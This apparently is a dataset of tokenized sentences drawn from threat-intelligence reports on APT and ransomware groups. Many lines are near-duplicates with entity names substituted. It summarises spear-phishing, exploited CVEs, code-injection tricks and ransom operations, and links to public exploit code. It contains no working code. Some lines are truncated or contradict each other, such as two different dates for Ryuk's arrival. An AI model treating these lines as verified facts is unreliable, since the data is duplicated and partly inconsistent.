It contains an additional meta tag at the end of the web page source code , " refreshing " ( redirecting ) the site visitor to the weaponized document .
Volexity has also found that , in addition to sending malware lures , the Patchwork threat actors are leveraging unique tracking links in their e-mails for the purpose of identifying which recipients opened their e-mail messages .
At this point , the attackers know the user has opened the document and send another spear-phishing email , this time containing an MS Word document with an embedded executable .
The majority of the code for TINYTYPHON is taken from the MyDoom worm and has been repurposed to find and exfiltrate documents .
Pitty Tiger group is sometimes using stolen material as spear phishing content to target other persons .
The Pitty Tiger group mostly uses spear phishing in order to gain an initial foothold within the targeted environment .
PittyTiger leverages social engineering to deliver spearphishing emails , in a variety of languages including English , French and Chinese , and email phishing pages to their targets .
PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
PLATINUM often spear phishes its targets at their non-official or private email accounts , to use as a stepping stone into the intended organization 's network .
PLATINUM primarily targets its intended victims using spear phishing .
In August 2015 , the admin@338 sent spear phishing emails to a number of Hong Kong-based media organizations , including newspapers , radio , and television .
In August 2015 , the threat actors sent spear phishing emails to a number of Hong Kong-based media organizations , including newspapers , radio , and television .
In August 2015 , the admin@338 sent spear phishing emails to a number of Hong Kong-based media organizations .
The admin@338 previous activities against financial and policy organizations have largely focused on spear phishing emails written in English , destined for Western audiences .
When the document was opened in Word , PLATINUM exploited a previously unknown vulnerability in the Microsoft Office PostScript interpreter ( designated CVE-2015-2545 ) that enabled it to execute the attacker 's code and drop an attacker-generated malicious DLL onto the computer .
n one case from 2013 , the target was sent a malicious document through a spear phishing email message .
According to FireEye , the admin@338 sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
According to FireEye , the attackers sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
This week the experts at FireEye discovered that a group of Chinese-based hackers called admin@338 had sent multiple MH370-themed spear phishing emails , the attackers targeted government officials in Asia-Pacific , it is likely for cyber espionage purpose .
The group previous activities against financial and policy organizations have largely focused on spear phishing emails written in English , destined for Western audiences .
On November 26 , 2015 , a suspected China-based APT16 sent Japanese defense policy-themed spear phishing emails to multiple Japanese financial and high-tech companies .
On November 26 , 2015 , a suspected China-based APT group sent Japanese defense policy-themed spear phishing emails to multiple Japanese financial and high-tech companies .
APT16 actors sent spear phishing emails to two Taiwanese media organizations .
On the same date that APT16 targeted Taiwanese media , suspected Chinese APT actors also targeted a Taiwanese government agency , sending a lure document that contained instructions for registration and subsequent listing of goods on a local Taiwanese auction website .
APT28 targets Russian rockers and dissidents Pussy Riot via spear-phishing emails .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe , " which targeted dissident activity among the Vietnamese diaspora in Southeast Asia .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe " .
APT33 sent spear phishing emails to employees whose jobs related to the aviation industry .
It is possible that APT37 's distribution of KARAE malware via torrent websites could assist in creating and maintaining botnets for future distributed denial-of-service ( DDoS ) attacks , or for other activity such as financially motivated campaigns or disruptive operations .
In May 2017 , APT37 used a bank liquidation letter as a spear phishing lure against a board member of a Middle Eastern financial company .
Operation Daybreak appears to have been launched by unknown attackers to infect high profile targets through spear-phishing e-mails .
Operation Daybreak appears to have been launched by APT37 to infect high profile targets through spear-phishing e-mails .
BRONZE BUTLER has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
The group has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
BRONZE BUTLER has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
The group has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
While investigating a 2016 intrusion , Secureworks identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
While investigating a 2016 intrusion , Secureworks incident responders identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
Symantec discovered the most recent wave of Tick attacks in July 2015 , when the group compromised three different Japanese websites with a Flash ( .swf ) exploit to mount watering hole attacks .
Symantec discovered the most recent wave of Tick attacks in July 2015 , when BRONZE BUTLER compromised three different Japanese websites with a Flash ( .swf ) exploit to mount watering hole attacks .
However , even though the TTPs of the Cleaver team have some overlap to techniques used by Iranian Cyber Army ( botnets ) , Ashiyane ( SQL injection ) and Syrian Electronic Army ( phishing ) , we believe this is largely the work of a new team .
In several cases , the Cobalt compromised company infrastructure and employee accounts in order to send phishing messages to partner companies in North and South America , Europe , CIS countries , and Central and Southeast Asia .
To ensure remote access to the workstation of an employee at a target organization , the Cobalt group ( as in previous years ) uses Beacon , a Trojan available as part of commercial penetration testing software .
In a recent spear-phishing campaign , the Cobalt Hacking Group used a remote code execution vulnerability in Microsoft Office software to connect to its command and control server via Cobalt Strike .
We believe that these industries have also been targeted as part of a larger supply-chain attack in order for Orangeworm to get access to their intended victims related to healthcare .
Orangeworm 's secondary targets include Manufacturing , Information Technology , Agriculture , and Logistics .
While these industries may appear to be unrelated , we found them to have multiple links to healthcare , such as large manufacturers that produce medical imaging devices sold directly into healthcare firms , IT organizations that provide support services to medical clinics , and logistical organizations that deliver healthcare products .
Once Orangeworm has infiltrated a victim 's network , they deploy Trojan.Kwampirs , a backdoor Trojan that provides the attackers with remote access to the compromised computer .
Patchwork targets were chosen worldwide with a focus on personnel working on military and political assignments , and specifically those working on issues relating to Southeast Asia and the South China Sea .
Kwampirs uses a fairly aggressive means to propagate itself once inside a victim 's network by copying itself over network shares .
In mid-August , the OilRig threat group sent what appeared to be a highly targeted phishing email to a high-ranking office in a Middle Eastern nation .
Patchwork 's attack was detected as part of a spear phishing against a government organization in Europe in late May 2016 .
The attack was detected as part of a spear phishing against a government organization in Europe in late May 2016 .
The Patchwork attack group has been targeting more than just government-associated organizations .
Symantec has been actively monitoring Patchwork , also known as Dropping Elephant , which uses Chinese-themed content as bait to compromise its targets ' networks .
Two security companies , Cymmetria and Kaspersky , each recently released reports on the campaign , most of which are in line with our observations .
Symantec Security Response has been actively monitoring Patchwork , also known as Dropping Elephant , which uses Chinese-themed content as bait to compromise its targets ' networks .
While Orangeworm has impacted only a small set of victims in 2016 and 2017 according to Symantec , we have seen infections in multiple countries due to the nature of the victims operating large international corporations .
Although approximately half of the attacks focus on the US , other targeted regions include China , Japan , Southeast Asia , and the United Kingdom .
While Orangeworm has impacted only a small set of victims in 2016 and 2017 according to Symantec telemetry , we have seen infections in multiple countries due to the nature of the victims operating large international corporations .
Our first observation of an attempted attack related to this campaign dates back to November 2015 , although Symantec telemetry data indicates that the campaign may have already existed in early 2015 or perhaps even earlier .
Should a user enable this content , Gallmaker is then able to use the DDE protocol to remotely execute commands in memory on the victima 's system .
While both back door Trojans wait for commands from the threat actor , they can search for files and upload them to the specified server once activated .
Patchwork ( also known as Dropping Elephant ) is a cyberespionage group whose targets included diplomatic and government agencies as well as businesses .
Patchwork is known for rehashing off-therack tools and malware for its own campaigns .
They also included Dynamic Data Exchange ( DDE ) and Windows Script Component ( SCT ) abuse to their tactics , as well as started exploiting recently reported vulnerabilities .
These socially engineered emails contain web links of weaponized documents containing exploits or macros .
It contains an additional meta tag at the end of the web page source code , " refreshing " ( redirecting ) the site visitor to the weaponized document .
It 's probable that Patchwork uses this package to facilitate server installation when using a Windows environment .
In March and April 2018 , Volexity identified multiple spear phishing campaigns attributed to Patchwork , an Indian APT group also known as Dropping Elephant .
This increase in threat activity was consistent with other observations documented over the last few months in blogs by 360 Threat Intelligence Center analyzing attacks on Chinese organizations and Trend Micro noting targets in South Asia .
Volexity has also found that , in addition to sending malware lures , the Patchwork threat actors are leveraging unique tracking links in their e-mails for the purpose of identifying which recipients opened their e-mail messages .
The newsletter includes a link to the attacker 's website , which has content focusing on topics related to China to draw the target 's interest .
Each of the spear phishing attacks contained links to .doc files , which were really RTF documents that attempt to exploit CVE-2017-8570 ( Composite Moniker ) .
The threat actors appear to have leveraged publicly available exploit code that can be found on Github at the URL : https://github.com/rxwx/CVE-2017-8570 .
Dropping Elephant ( also known as " Chinastrats " and " Patchwork " ) is a relatively new threat actor that is targeting a variety of high profile diplomatic and economic targets using a custom set of attack tools .
At this point , the attackers know the user has opened the document and send another spear-phishing email , this time containing an MS Word document with an embedded executable .
The Word document usually exploits CVE-2012-0158 .
Sometimes the attackers send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
Sometimes Patchwork send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
From the attacks observed by Volexity , what is most notable is that Patchwork has pivoted its targeting and has launched attacks directly against US-based think tanks .
Once started , it downloads additional malware from the C2 and also uploads some basic system information , stealing , among other things , the user 's Google Chrome credentials .
It repeatedly attempts to iterate through directories and to collect files with the following extensions : doc , docx , ppt , pptx , pps , ppsx , xls , xlsx , and pdf .
In this case , a small group reusing exploit code , some powershell-based malware and mostly social engineering has been able to steal sensitive documents and data from victims since at least November 2015 .
In the past few months , Unit 42 has observed the Patchwork group , alternatively known as Dropping Elephant and Monsoon , conducting campaigns against targets located in the Indian subcontinent .
The malicious documents seen in recent activity refer to a number of topics , including recent military promotions within the Pakistan Army , information related to the Pakistan Atomic Energy Commission , as well as Pakistan 's Ministry of the Interior .
The malicious documents that Unit 42 examined contained legitimate decoy lures as well as malicious embedded EPS files targeting the CVE-2015-2545 and CVE-2017-0261 vulnerabilities .
Older documents used by Patchwork focused on the CVE-2017-0261 vulnerability , however in late January 2018 when , paradoxically , newer documents abandoned this vulnerability to attack the older CVE-2015-2545 vulnerability .
The Patchwork group continues to plague victims located within the Indian subcontinent .
The overarching campaign appears to target both Chinese nationals within different industries and government agencies in Southern Asia .
It appears to have started in December 2015 and is still ongoing as of July 2016 .
The use of weaponized legitimate documents is a longstanding operational standard of Patchwork .
It is dropped by at least one of the weaponised documents17 used in the MONSOON campaign where it is embedded inside another executable .
The majority of the code for TINYTYPHON is taken from the MyDoom worm and has been repurposed to find and exfiltrate documents .
The targeting of Chinese nationals may also be related to this campaign , but equally may be part of a separate campaign by the adversary or even as part of them selling Surveillance-As-A-Service in a similar manner previously seen with the HANGOVER group .
The use of weaponized legitimate documents is a longstanding operational standard of this group .
We decided to spend some time to investigate around this malware and found out that it was used exclusively by a single group of attackers .
The newsnstat.com domain was used earlier in 2015 for previous HANGOVER campaigns , and was then repurposed in December 2015 for the MONSOON campaign .
Our researches around the malware family revealed the " Pitty Tiger " group has been active since 2011 , yet we found traces which makes us believe the group is active since 2010 .
The group exploits known vulnerabilities in Microsoft Office products to infect their targets with malware .
Pitty Tiger group is sometimes using stolen material as spear phishing content to target other persons .
PittyTiger has also been seen using Heartbleed vulnerability in order to directly get valid credentials .
They have also been seen using Heartbleed vulnerability in order to directly get valid credentials .
One of the favorite methods used by the Pitty Tiger group to infect users is to use a Microsoft Office Word document which exploits a specific vulnerability ( CVE-2012-0158 ) .
PittyTiger could also use CVE-2014-1761 , which is more recent .
" PittyTiger " is a mutex used by the malware .
This RAT is the origin of the attackers ' group name .
Paladin RAT is another remote administration tool used by the Pitty Tiger group .
Pitty Tiger , like other APT attackers , often use anti-virus " familiar names " when registering domains or creating subdomains .
" Pitty Tiger " is also a string transmitted in the network communications of the RAT .
A recent report documents a group of attackers known as " PittyTiger " that appears to have been active since at least 2011 ; however , they may have been operating as far back as 2008 .
We have been monitoring the activities of this group and believe they are operating from China .
This threat group uses a first-stage malware known as Backdoor.APT.Pgift ( aka Troj/ReRol.A ) , which is dropped via malicious documents and connects back to a C2 server .
By integrating the findings with prior research , it was possible to connect MONSOON directly with infrastructure used by the HANGOVER group via a series of strong connections .
Backdoor.APT.PittyTiger – This malware is the classic " PittyTiger " malware ( PittyTigerV1.0 ) that was heavily used by this group in- 2013 .
Backdoor.APT.PittyTiger1.3 ( aka CT RAT ) – This malware is likely used as a second-stage backdoor .
It also appears the attackers use this as second-stage malware .
We have observed the Enfal malware in use since 2011 and in conjunction with Backdoor.APT.Pgift as the payload of a malicious document used in spearphishing attacks .
The Pitty Tiger group mostly uses spear phishing in order to gain an initial foothold within the targeted environment .
PittyTiger leverages social engineering to deliver spearphishing emails , in a variety of languages including English , French and Chinese , and email phishing pages to their targets .
PLATINUM has been targeting its victims since at least as early as 2009 , and may have been active for several years prior .
This section describes the history , behavior , and tactics of a newly discovered targeted activity group , which Microsoft has code-named PLATINUM .
Like many such groups , PLATINUM seeks to steal sensitive intellectual property related to government interests , but its range of preferred targets is consistently limited to specific governmental organizations , defense institutes , intelligence agencies , diplomatic institutions , and telecommunication providers in South and Southeast Asia .
PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
LATINUM makes a concerted effort to hide their infection tracks , by self-deleting malicious components , or by using server side logic in ' one shot mode ' where remotely hosted malicious components are only allowed to load once .
PLATINUM often spear phishes its targets at their non-official or private email accounts , to use as a stepping stone into the intended organization 's network .
PLATINUM uses custom-developed malicious tools and has the resources to update these applications often to avoid being detected .
PLATINUM primarily targets its intended victims using spear phishing .
PLATINUM configures its backdoor malware to restrict its activities to victims ' working hours , in an attempt to disguise post-infection network activity within normal user traffic .
PLATINUM does not conduct its espionage activity to engage in direct financial gain , but instead uses stolen information for indirect economic advantages .
PLATINUM is known to have used a number of zero-day exploits , for which no security update is available at the time of transmission , in these attempts .
For the initial infection , PLATINUM typically sends malicious documents that contain exploits for vulnerabilities in various software programs , with links or remotely loaded components ( images or scripts or templates ) that are delivered to targets only once .
PLATINUM 's approach toward exploiting vulnerabilities varies between campaigns .
The document , when opened , used an embedded ActiveX control to download a JavaScript file from a remote site that used a previously unknown vulnerability in some versions of Windows ( later designated CVE-2013-7331 ) to read information about the browser 's installed components .
When the document was opened in Word , PLATINUM exploited a previously unknown vulnerability in the Microsoft Office PostScript interpreter ( designated CVE-2015-2545 ) that enabled it to execute the attacker 's code and drop an attacker-generated malicious DLL onto the computer .
n one case from 2013 , the target was sent a malicious document through a spear phishing email message .
The DLL exploited another previously unknown vulnerability ( designated CVE-2015-2546 ) in the Windows kernel , which enabled it to elevate privileges for the Word executable and subsequently install a backdoor through the application .
When the document was opened in Word , it exploited a previously unknown vulnerability in the Microsoft Office PostScript interpreter ( designated CVE-2015-2545 ) that enabled it to execute the attacker 's code and drop an attacker-generated malicious DLL onto the computer .
In total , PLATINUM made use of four zero-day exploits during these two attack campaigns ( two remote code execution bugs , one privilege escalation , and one information disclosure ) , showing an ability to spend a non-trivial amount of resources to either acquire professionally written zero-day exploits from unknown markets , or research and utilize the zero-day exploits themselves .
Researching this attack and the malware used therein led Microsoft to discover other instances of PLATINUM attacking users in India around August 2015 .
In both these campaigns the activity group included remote triggers to deactivate exploitation , with an attempt to conceal the vulnerability , and prevent analysis of the attack .
After gaining access to a victim 's computer , PLATINUM installs its own custom-built malware to communicate with the compromised system , issue commands , and move laterally through the network .
PLATINUM uses a number of different custom-developed backdoors to communicate with infected computers .
This section describes some of the tools used by the group .
The lack of any significant evidence of shared code between any of these backdoor families is another clue as to the scope of the resources on which the activity group is able to draw , and the precautions the group is willing and able to take in order to avoid losing its ability to conduct its espionage operations .
In addition to Dipsind and its variants , PLATINUM uses a few other families of custom-built backdoors within its attack toolset .
The PLATINUM group has written a few different versions of keyloggers that perform their functions in different ways , most likely to take advantage of different weaknesses in victims ' computing environments .
While one family relies on a small number of supported commands and simple shells , the other delves into more convoluted methods of injections , checks , and supported feature sets .
Both groups can set permissions on specific files to Everyone , and work in tandem with the PLATINUM backdoors .
In particular , this second group also has the capability of dumping users ' credentials using the same technique employed by Mimikatz .
In addition to using several publicly known injection methods to perform this task , it also takes advantage of an obscure operating system feature known as hot patching .
One of PLATINUM 's most recent and interesting tools is meant to inject code into processes using a variety of injection techniques .
At a high level , hot patching can transparently apply patches to executables and DLLs in actively running processes , which does not happen with traditional methods of code injection such as CreateRemoteThread or WriteProcessMemory .
Hot patching is an operating system-supported feature for installing updates without having to reboot or restart a process .
Multiple Dipsind variants have been identified , all of which are believed to be used exclusively by PLATINUM .
The group 's most frequently used backdoors belong to a malware family that Microsoft has designated Dipsind , although some variants are detected under different names .
The technique PLATINUM uses to inject code via hot patching was first documented by security researchers in 2013.7 Administrator permissions are required for hot patching , and the technique used by PLATINUM does not attempt to evade this requirement through exploitation .
PLATINUM has used several zero-day exploits against their victims .
The technique PLATINUM uses to inject code via hot patching was first documented by security researchers in 2013.7 .
PLATINUM has consistently targeted victims within a small set of countries in South and Southeast Asia .
PLATINUM has developed or commissioned a number of custom tools to provide the group with access to victim resources .
Some of the tools used by PLATINUM , such as the port-knocking backdoor , show signs of organized thinking .
Take advantage of native mitigations built into Windows 10 .
For example , the summer 2015 attack that used the unusual ' resume ' would not have been successful on Windows 10 as-is because of the presence of the Supervisor Mode Execution Prevention ( SMEP ) mitigation , even without the latest security updates installed .
Even if CVE-2015-2546 affected Windows 10 , the exploitation would have required much more technical prowess to succeed ; ultimately , SMEP makes it more difficult for attackers .
For example , one zero-day vulnerability exploit ( CVE-2015-2545 ) used by PLATINUM was addressed immediately in September 2015 .
Since the 2016 publication , Microsoft has come across an evolution of PLATINUM 's file-transfer tool , one that uses the Intel® Active Management Technology ( AMT ) Serial-over-LAN ( SOL ) channel for communication .
Since the 2016 publication , Microsoft has come across an evolution of PLATINUM 's file-transfer tool , one that uses the Intel Active Management Technology ( AMT ) Serial-over-LAN ( SOL ) channel for communication .
Until this incident , no malware had been discovered misusing the AMT SOL feature for communication .
We confirmed that the tool did not expose vulnerabilities in the management technology itself , but rather misused AMT SOL within target networks that have already been compromised to keep communication stealthy and evade security applications .
In either case , PLATINUM would need to have gained administrative privileges on targeted systems prior to the feature 's misuse .
The updated tool has only been seen in a handful of victim computers within organizational networks in Southeast Asia—PLATINUM is known to customize tools based on the network architecture of targeted organizations .
One possibility is that PLATINUM might have obtained compromised credentials from victim networks .
Another possibility is that the targeted systems did not have AMT provisioned and PLATINUM , once they've obtained administrative privileges on the system , proceeded to provision AMT .
During the provisioning process , PLATINUM could select whichever username and password they wish .
The new SOL protocol within the PLATINUM file-transfer tool makes use of the AMT Technology SDK 's Redirection Library API ( imrsdk.dll ) .
The PLATINUM tool is , to our knowledge , the first malware sample observed to misuse chipset features in this way .
Microsoft reiterates that the PLATINUM tool does not expose flaws in Intel® Active Management Technology ( AMT ) , but uses the technology within an already compromised network to evade security monitoring tools .
The discovery of this new PLATINUM technique and the development of detection capabilities highlight the work the Windows Defender ATP team does to provide customers greater visibility into suspicious activities transpiring on their networks .
It possesses a wide range of technical exploitation capabilities , significant resources for researching or purchasing complicated zero-day exploits , the ability to sustain persistence across victim networks for years , and the manpower to develop and maintain a large number of tools to use within unique victim networks .
This signals just how long ago the Poseidon threat actor was already working on its offensive framework .
However , Poseidon 's practice of being a ' custom-tailored malware implants boutique ' kept security researchers from connecting different campaigns under the umbrella of a single threat actor .
Poseidon Group is dedicated to running targeted attacks campaigns to aggressively collect information from company networks through the use of spear-phishing packaged with embedded , executable elements inside office documents and extensive lateral movement tools .
The Poseidon Group is a long-running team operating on all domains : land , air , and sea .
The Poseidon Group has been active , using custom code and evolving their toolkit since at least 2005 .
Poseidon has maintained a consistently evolving toolkit since the mid-2000s .
The Poseidon Group actively targets this sort of corporate environment for the theft of intellectual property and commercial information , occasionally focusing on personal information on executives .
PROMETHIUM is an activity group that has been active as early as 2012 .
This malware family is known as " PittyTiger " by the anti-virus community .
NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird .
The previous two volumes of the Microsoft Security Intelligence Report explored the activities of two such groups , code-named STRONTIUM and PLATINUM , which used previously unknown vulnerabilities and aggressive , persistent techniques to target specific individuals and— often including military installations , intelligence agencies , and other government bodies .
PROMETHIUM distributed links through instant messengers , pointing recipients to malicious documents that invoked the exploit code to launch Truvasys on victim computers .
PROMETHIUM is an activity group that has been active since at least 2012 .
In 2016 , an attack campaign by this group was recorded in early May that made use of an exploit for CVE-2016-4117 , a vulnerability in Adobe Flash Player , which at the time was both unknown and unpatched .
Truvasys is a collection of modules written in the Delphi programming language , a variant of Pascal .
While studying Truvasys , Microsoft uncovered a previously undocumented piece of malware known as Myntor that is a completely separate malware family .
Unit 61486 is the 12th Bureau of the PLA 's 3rd General Staff Department ( GSD ) and is headquartered in Shanghai , China .
The CrowdStrike has been tracking this particular unit since 2012 , under the codename PUTTER PANDA , and has documented activity dating back to 2007 .
The CrowdStrike Intelligence team has been tracking this particular unit since 2012 , under the codename PUTTER PANDA , and has documented activity dating back to 2007 .
This particular unit is believed to hack into victim companies throughout the world in order to steal corporate trade secrets , primarily relating to the satellite , aerospace and communication industries .
Parts of the PUTTER PANDA toolset and tradecraft have been previously documented , both by CrowdStrike , and in open source , where they are referred to as the MSUpdater group .
PUTTER PANDA is a determined adversary group , conducting intelligence-gathering operations targeting the Government , Defense , Research , and Technology sectors in the United States , with specific targeting of the US Defense and European satellite and aerospace industries .
According to the hacking collective , they worked tirelessly for the first quarter of 2019 to breach these companies and finally succeeded and obtained access to the companies' internal networks .
The folders seem to contain information about the company 's development documentation , artificial intelligence model , web security software , and antivirus software base code .
Targeting antivirus companies appears to have been the primary goal of Fxmps' latest network intrusions .
This period started with their seeming disappearance in October 2018 and concluded with their return in April 2019 .
The hacker 's name is Gnosticplayers , and since February 11 the hacker has put up for sale data for 32 companies in three rounds [stories on Round 1 , Round 2 , and Round 3] on Dream Market , a dark web marketplace .
But according to Gnosticplayers , his foray into a public marketplace like Dream has two goals --besides the first and obvious one being money .
Data collected by Secureworks incident response ( IR ) analysts and analyzed by CTU researchers indicates that GOLD LOWELL extorts money from victims using the custom SamSam ransomware .
Some sources claimed that GOLD LOWELL operations specifically targeted the healthcare vertical following public SamSam incidents in 2016 and 2018 .
However , CTU analysis indicates that GOLD LOWELL is motivated by financial gain , and there is no evidence of the threat actors using network access for espionage or data theft .
In January 2017 , GOLD LOWELL began targeting legitimate RDP account credentials , in some cases discovering and compromising accounts using brute-force techniques .
In 2015 and 2016 , GOLD LOWELL frequently exploited JBoss enterprise applications using several versions of this open-source JBoss exploitation tool .
In 2017 and early 2018 , the group used PowerShell commands to call Mimikatz from an online PowerSploit repository , which is a collection of publicly available PowerShell modules for penetration testing .
Gold Lowell responded by modifying a registry entry to disable the endpoint tool 's scanning functionality .
Gold Lowell then provide a download link to a unique XML executable file and corresponding RSA private key to decrypt the files .
This methodology , known as " big game hunting " , signals a shift in operations for WIZARD SPIDER , a criminal enterprise of which GRIM SPIDER appears to be a cell .
The WIZARD SPIDER threat group , known as the Russia-based operator of the TrickBot banking malware , had focused primarily on wire fraud in the past .
Similar to Samas and BitPaymer , Ryuk is specifically used to target enterprise environments .
Code comparison between versions of Ryuk and Hermes ransomware indicates that Ryuk was derived from the Hermes source code and has been under steady development since its release .
Hermes is commodity ransomware that has been observed for sale on forums and used by multiple threat actors .
However , Ryuk is only used by GRIM SPIDER and , unlike Hermes , Ryuk has only been used to target enterprise environments .
Since Ryuk 's appearance in August , the threat actors operating it have netted over 705.80 BTC across 52 transactions for a total current value of $3,701,893.98 USD .
Hermes ransomware , the predecessor to Ryuk , was first distributed in February 2017 .
In mid-August 2018 , a modified version of Hermes , dubbed Ryuk , started appearing in a public malware repository .
Ryuk was tailored to target enterprise environments and some of the modifications include removing anti-analysis checks .
As mentioned in the Hermes to Ryuk section , Ryuk uses a combination of symmetric ( AES ) and asymmetric ( RSA ) encryption to encrypt files .
For each mounted drive , Ryuk calls GetDriveTypeW to determine the drive 's type .
To retrieve IP addresses that have ARP entries , Ryuk calls GetIpNetTable .
Open-source reporting has claimed that the Hermes ransomware was developed by the North Korean group STARDUST CHOLLIMA ( activities of which have been public reported as part of the " Lazarus Group " ) , because Hermes was executed on a host during the SWIFT compromise of FEIB in October 2017 .
The two executables related to Hermes are bitsran.exe and RSW7B37.tmp .
Falcon Intelligence has medium-high confidence that the GRIM SPIDER threat actors are operating out of Russia .
Based on these factors , there is considerably more evidence supporting the hypothesis that the GRIM SPIDER threat actors are Russian speakers and not North Korean .
The hackers also started tweeting a few samples of internal emails from the company .
From a process and file perspective , Hermes and Ryuk target files in a similar fashion .
Claudio Guarnieri , a security researcher who has investigated Hacking Team along with others at the Citizen Lab , was quick to point this out .
The breach on Hacking Team comes almost a year after another surveillance tech company , the competing FinFisher , was hacked in a similar way , with a hacker leaking 40 Gb of internal files .
Their software , once surreptitiously installed on a target 's cell phone or computer , can be used to monitor the target 's communications , such as phone calls , text messages , Skype calls , or emails .
In 2015 and 2016 , Dridex was one of the most prolific eCrime banking trojans on the market and , since 2014 , those efforts are thought to have netted INDRIK SPIDER millions of dollars in criminal profits .
In August 2017 , a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K. 's National Health Service ( NHS ) , with a high ransom demand of 53 BTC ( approximately $200,000 USD ) .
The targeting of an organization rather than individuals , and the high ransom demands , made BitPaymer stand out from other contemporary ransomware at the time .
Though the encryption and ransom functionality of BitPaymer was not technically sophisticated , the malware contained multiple anti-analysis features that overlapped with Dridex .
Later technical analysis of BitPaymer indicated that it had been developed by INDRIK SPIDER , suggesting the group had expanded its criminal operation to include ransomware as a monetization strategy .
The beginning of 2017 also brought a turning point in INDRIK SPIDER 's operation of Dridex .
CrowdStrike® Falcon® Intelligence™ also observed a strong correlation between Dridex infections and BitPaymer ransomware .
During incidents that involved BitPaymer , Dridex was installed on the victim network prior to the deployment of the BitPaymer malware .
Also unusual was the observation that both Dridex and BitPaymer were spread through the victim network using lateral movement techniques traditionally associated with nation-state actors and penetration testing .
The information gathered from these engagements , combined with information from prior Dridex IR engagements , provides insight into how INDRIK SPIDER deploys and operates both Dridex and BitPaymer .
In recent BitPaymer IR engagements , Falcon Intelligence linked the initial infection vector to fake updates for a FlashPlayer plugin and the Chrome web browser .
With the move to targeting select victims for high-value payouts , the INDRIK SPIDER adversary group is no longer forced to scale its operations , and now has the capacity to tailor its tooling to the victim 's environment and play a more active role in the compromise with " hands on keyboard " activity .
This web hosting service provider continues to be the hosting provider of choice for the threat actors behind NetTraveler .
These new tactics of selectively targeting organizations for high ransomware payouts have signaled a shift in INDRIK SPIDER 's operation with a new focus on targeted , low-volume , high-return criminal activity : a type of cybercrime operation we refer to as big game hunting .
Later , in January 2018 , a report was released that identified similarities between the BitPaymer ransomware and Dridex malware .
The report authors renamed the malware " FriedEx " .
Falcon Intelligence has analyzed this malware and can confirm the overlap between BitPaymer/FriedEx and Dridex malware .
Though there is no functionality to collect this information in the ransomware itself , the ransomware is deployed by INDRIK SPIDER in parallel with Dridex malware , and the Dridex malware contains modules that may be used to collect information from infected hosts .
Falcon Intelligence has acquired multiple decryption tools related to BitPaymer , which confirm the theory that a unique key is used for each infection .
Unlike many ransomware operations , which usually just require victims to make the payment and subsequently download a decryptor , INDRIK SPIDER requires the victim to engage in communication with an operator .
Falcon Intelligence has had unique insight into the email dialogue between a victim and an INDRIK SPIDER operator .
Initial victim communication with the INDRIK SPIDER operator , using one of the email addresses provided , results in the operator providing key pieces of information up front , such as the BTC address and the ransom amount .
It was made clear during communications that INDRIK SPIDER is not willing to negotiate on the ransom amount , explicitly stating that the victim can use multiple Bitcoin exchanges to obtain the number of BTC required , and the exchange rate should be calculated based on the rate posted on the cryptocurrency exchange Bittrex .
Of note , INDRIK SPIDER specifies the geographical location of where the victim should seek help , confirming that they know key information about the victim .
INDRIK SPIDER uses file sharing platforms to distribute the BitPaymer decryptor .
In an extensive email to the victim , the INDRIK SPIDER operator provides a decryptor download link , decryptor deletion link ( to be used following decryptor download ) and a password .
The recommendations provided are not only good advice , but also provide indications of how INDRIK SPIDER breaches organizations and moves laterally until domain controller access is gained .
Ransom demands have varied significantly , suggesting that INDRIK SPIDER likely calculates the ransom amount based on the size and value of the victim organization .
INDRIK SPIDER consists of experienced malware developers and operators who have likely been part of the group since the early days of Dridex operations , beginning in June 2014 .
The formation of the group and the modus operandi changed significantly in early 2017 .
Dridex operations became more targeted , resulting in less distribution and Dridex sub-botnets in operation , and BitPaymer ransomware operations began in July 2017 .
There is no doubt that BitPaymer ransomware operations are proving successful for Indrik Spider , with an average estimate take of over $200,000 USD per victim , but it is also important to remember that INDRIK SPIDER continues to operate the Dridex banking trojan .
There is no doubt that BitPaymer ransomware operations are proving successful for this criminal group , with an average estimate take of over $200,000 USD per victim , but it is also important to remember that INDRIK SPIDER continues to operate the Dridex banking trojan .
Though Dridex is still bringing in criminal revenue for the actor after almost four years of operation , targeted wire fraud operations likely require lengthy planning .
In scenarios where wire fraud is not as lucrative an option , INDRIK SPIDER might use ransomware to monetize the compromise instead .
INDRIK SPIDER isn't the only criminal actor running big game hunting operations ; The first ransomware to stake a claim for big game hunting was Samas ( aka SamSam ) , which is developed and operated by BOSS SPIDER .
Since they were first identified in January 2-16 , this adversary has consistently targeted large organizations for high ransom demands .
In July 2017 , INDRIK SPIDER joined the movement of targeted ransomware with BitPaymer .
Most recently , the ransomware known as Ryuk came to market in August 2017 and has netted its operators , tracked by Falcon Intelligence as GRIM SPIDER , a significant ( and immediate ) profit in campaigns also targeting large organizations .
